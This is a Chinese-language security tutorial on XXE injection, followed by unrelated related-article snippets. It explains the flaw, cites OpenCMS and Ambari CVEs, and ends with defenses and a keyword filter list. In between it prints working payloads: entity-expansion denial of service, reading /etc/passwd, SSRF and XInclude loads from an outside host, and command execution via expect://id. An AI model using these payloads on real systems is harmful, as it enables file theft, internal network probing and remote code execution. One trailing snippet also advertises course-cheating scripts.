xxe漏洞--xml外部实体注入漏洞

1.xxe漏洞介绍

XXE(XML External Entity Injection)是一种攻击技术,它允许攻击者注入恶意的外部实体到XML文档中。如果应用程序处理XML输入时未正确配置,攻击者可以利用这个漏洞访问受影响系统上的敏感文件、执行远程代码、探测内网端口、攻击内网网站等后果。XXE漏洞通常发生在解析XML数据时,没有禁用外部实体的加载。外部实体可以指向一个远程文件,如果没有适当的控制,攻击者可以利用这一点来获取敏感信息或执行攻击。

w3school 在线教程

1.1 xxe基本格式

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore>                                                 <!--根元素-->
<book category="COOKING">        <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>           <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>                  <!--book的子元素-->
<year>2005</year>                                     <!--book的子元素-->
<price>30.00</price>                                  <!--book的子元素-->
</book>                                                 <!--book的结束-->
</bookstore>                                       <!--bookstore的结束-->

 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。
standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

1.2 xee基本语法

(1)所有 XML 元素都须有关闭标签。

(2)XML 标签对大小写敏感。

(3)XML 必须正确地嵌套。

(4)XML 文档必须有根元素。

(5)XML 的属性值须加引号。

若多个字符都需要转义,则可以将这些内容存放到CDATA里面

2.xxe漏洞存在

2.1 xxe存在的版本

在php里面解析xml用的时libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

OpenCMS:OpenCMS是一款功能强大的开源Web内容管理系统。在OpenCMS 9.0.0至10.5.0的版本中,存在一个XXE漏洞(CVE-2023-42344)。这个漏洞允许未经身份验证的远程威胁者发送带有XXE Payload的恶意HTTP POST请求,可能导致任意文件读取、命令执行等危害。受影响的用户应升级到OpenCMS 10.5.1或更高版本来修复这个漏洞。

Apache Ambari:Apache Ambari是一个用于配置、管理和监控Apache Hadoop集群的工具。在Apache Ambari 2.7.8之前的版本中,存在XXE注入漏洞(CVE-2023-50380)。由于DocumentBuilderFactory实例未正确配置以禁用外部实体,低权限攻击者可以通过提交恶意XML文档来读取服务器上的任意文件以及提升权限等。建议将Ambari升级至2.7.8及以上版本来修复这个漏洞。

2.2 xxe存在的位置

MIME类型为XML

3.攻击方式

3.1 拒绝服务攻击

<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

3.2  文件读取

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<data>&file;</data>

 

上面的file:///etc/passwd,这是直接读取服务器的passwd文件内容。最后XML部分就是调用DTD的foo功能,也就是调用xxe,取出数据然后显示,基本上任何xxe的攻击代码都是这么几部分。

3.3 SSRF

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>

3.4  RCE

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog><core id="test101"><description>&xxe;</description></core>
</catalog>

3.5  XInclude

<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>

4.xxe漏洞利用

使用xxe漏洞读取计算机根目录文件,根目录下有1.txt文件

替换根目录文件所在地址,形成xml

在pikachu中xxe漏洞输入框输入xml地址,读取任意文件

未知攻焉知防——XXE漏洞攻防 - 博客 - 腾讯安全应急响应中心

一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区

5.xxe漏洞防御


(1)使用开发语言提供的禁用外部实体的方法
PHP:libxml_disable_entity_loader(true);
其他语言:

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

(2)过滤用户提交的XML数据
关键词:SYSTEM、PUBLIC、<!DOCTYPE、<!ENTITY

(3)升级版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/329942.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机毕业设计 | springboot药品库存追踪与管理系统 药店管理(附源码)

1&#xff0c;绪论 1.1 背景调研 如今药品调价频繁&#xff0c;且品种繁多&#xff0c;增加了药品销售定价的难度。药品来货验收登记中的审查有效期环节容易出错&#xff0c;错收过期或有效期不足的药品。 手工模式下的药品库存难以及时掌握&#xff0c;虽然采取了每日进行缺…

介绍Votenet的网络结构

Votenet是一种用于3D对象检测的深度学习网络&#xff0c;其网络结构主要由两个部分组成&#xff1a;Vote网络和Objectness网络。 Vote网络被设计用于从点云数据中生成候选3D边界框。它由三个主要的模块组成&#xff1a;1&#xff09;共享MLP层&#xff0c;用于提取点云中每个点…

Spark累加器

1. 累加器 累加器&#xff1a;分布式共享只写变量 考虑如下计算RDD中数据的和&#xff1a; val rdd sc.makeRDD(List(1, 2, 3, 4))var sum 0 rdd.foreach(num > {sum num} )println("sum " sum) 预期结果10&#xff0c;但其实不是 foreach里面的函数是在…

揭秘未来,开启盲盒新篇章——打造你的专属盲盒小程序

一、引言 在这个充满未知与惊喜的时代&#xff0c;盲盒文化已经深入人心&#xff0c;成为年轻人追求新奇、体验刺激的新宠。如今&#xff0c;随着科技的快速发展&#xff0c;盲盒文化也迎来了全新的发展机遇。我们诚挚地邀请您一同踏上这场盲盒小程序开发的旅程&#xff0c;共…

查询一个字符串在另一个字符串中出现的次数(java)

查询一个字符串在另一个字符串中出现的次数 例&#xff1a; String str1“helloworld,java,python,hellokafka,world big table helloteacher”; String str2“hello”; 字符串str2在str1中出现3次 代码 package exercise.test8;public class Demo8 {public static void mai…

VLAN---虚拟局域网

通过在交换机上部署VLAN技术&#xff0c;将一个规模较大的广播域在逻辑上划分成若干个不同的、规模较小的广播域。 IEEE 802.1Q标准----虚拟桥接局域网标准----Dot1Q标准 VLAN-ID&#xff1a;标定该数据帧所属的VLAN ID信息 PC1发送的是一个无标记帧&#xff08;传统的以太网…

Google Earth Engine(GEE)深度学习入门教程-Python数据读入篇

Python数据读入篇 前置条件&#xff1a; GEE预处理影像导出保存为tfrecord的数据包&#xff0c;并下载到本地tensorflow的深度学习环境 本篇文章的目的主要是把Tfrecord格式的数据加载为tf可使用的数据集格式 设定超参数 首先需要设定导出时的波段名称和数据格式&#xff…

Spring Security实现用户认证三:结合MySql数据库对用户进行认证

Spring Security实现用户认证三&#xff1a;结合MySql数据库对用户进行认证 1 原理2 基于内存的认证&#xff08;默认方式&#xff09;2.1 依赖2.2 WebSecurityConfig配置类添加配置 3 为下一步准备数据源3.1 依赖3.2 创建表users和authorities3.3 配置DruidDataSource数据源3.…

KDE-Ambari-Metrics-Collector问题排查解决手册

文档说明 本文档是为了解决KDE平台的Ambari-Metrics-Collector服务在运行时遇到的问题而提供的问题排查和解决方法的参考文档 说明: 当前的Ambari-Metrics-Collector服务包括了ams-collector和ams-hbase两个程序,在Ambari-Metrics-Collector安装的节点执行ps -elf|grep am…

【热门话题】一文带你读懂公司是如何知道张三在脉脉上发了“一句话”的

按理说呢&#xff0c;A公司和脉脉属于不同的平台&#xff0c;而且脉脉上大家可以匿名发言&#xff0c;所以&#xff0c;即便我坐在你边上&#xff0c;我发了一句话上去&#xff0c;你也不知道是谁发的。但通过一些技术&#xff0c;我们却可以分析出&#xff0c;公司是如何知道张…

2024 电工杯高校数学建模竞赛(A题)数学建模完整思路+完整代码全解全析

你是否在寻找数学建模比赛的突破点&#xff1f;数学建模进阶思路&#xff01; 作为经验丰富的数学建模团队&#xff0c;我们将为你带来2024电工杯数学建模竞赛&#xff08;B题&#xff09;的全面解析。这个解决方案包不仅包括完整的代码实现&#xff0c;还有详尽的建模过程和解…

AI网络爬虫:批量爬取电视猫上面的《庆余年》分集剧情

电视猫上面有《庆余年》分集剧情&#xff0c;如何批量爬取下来呢&#xff1f; 先找到每集的链接地址&#xff0c;都在这个class"epipage clear"的div标签里面的li标签下面的a标签里面&#xff1a; <a href"/drama/Yy0wHDA/episode">1</a> 这个…

玩转OpenHarmony PID:教你打造两轮平衡车

简介 此次为大家带来的是OpenAtom OpenHarmony&#xff08;以下简称“OpenHarmony”&#xff09;系统与PID控制算法相结合并落地的平衡车项目。 PID控制算法是一种经典的&#xff0c;并被广泛应用在控制领域的算法。类似于这种&#xff1a;需要将某一个物理量保持稳定的场合&…

增强版 Kimi:AI 驱动的智能创作平台,实现一站式内容生成(图片、PPT、PDF)!

前言 基于扣子 Coze 零代码平台&#xff0c;我们从零到一轻松实现了专属 Bot 机器人的搭建。 AI 大模型&#xff08;LLM&#xff09;、智能体&#xff08;Agent&#xff09;、知识库、向量数据库、知识图谱&#xff0c;RAG&#xff0c;AGI 的不同形态愈发显现&#xff0c;如何…

Redis系统架构中各个处理模块是干什么的?no.19

Redis 系统架构 通过前面的学习&#xff0c;相信你已经掌握了 Redis 的原理、数据类型及访问协议等内容。本课时&#xff0c;我将进一步分析 Redis 的系统架构&#xff0c;重点讲解 Redis 系统架构的事件处理机制、数据管理、功能扩展、系统扩展等内容。 事件处理机制 Redis…

分布式限流总结

1、计数器 java内部可以使用原子计数器AtomicInteger\Semaphore信号量来做简单的限流 // 限流的个数private int maxCount 10;// 指定的时间内private long interval 60;// 原子类计数器private AtomicInteger atomicInteger new AtomicInteger(0);// 起始时间private lon…

【笔记】树(Tree)

一、树的基本概念 1、树的简介 之前我们都是在谈论一对一的线性数据结构&#xff0c;可现实中也有很多一对多的情况需要处理&#xff0c;所以我们就需要一种能实现一对多的数据结构--“树”。 2、树的定义 树&#xff08;Tree&#xff09;是一种非线性的数据结构&#xff0…

百度智能云参与信通院多项边缘计算标准编制,「大模型时代下云边端协同 AI 发展研讨会」成功召开

1 中国信通院联合业界制定、发布多项标准化成果&#xff0c;推动产业发展 大模型开启了 AI 原生时代&#xff0c;云边端协同 AI 构建了「集中式大规模训练」、「边缘分布式协同推理」新范式&#xff0c;有效降低推理时延和成本&#xff0c;提升数据安全和隐私性&#xff0c;也…

基于Vue3 + js-tool-big-box工具库实现3个随机数字的小游戏动画,快来挑战你的非凡手气!

不知你是否和我一样&#xff0c;我曾有一个猜3个随机数字的梦&#xff0c;但通过多次的努力&#xff0c;梦想最终未能实现&#xff0c;而且还波多了我的饭票。所以&#xff0c;我要通过vue3 js-tool-big-box 这个工具库&#xff0c;来实现一个猜3个随机数字的小游戏动画&#…

学习通高分免费刷课实操教程

文章目录 概要整体架构流程详细步骤云上全平台登录步骤小结 概要 我之前提到过一个通过浏览器的三个脚本就可以免费高分刷课的文章&#xff0c;由于不方便拍视频进行实操演示&#xff0c;然后写下了这个实操教程&#xff0c;之前的三个脚本划到文章末尾 整体架构流程 整体大…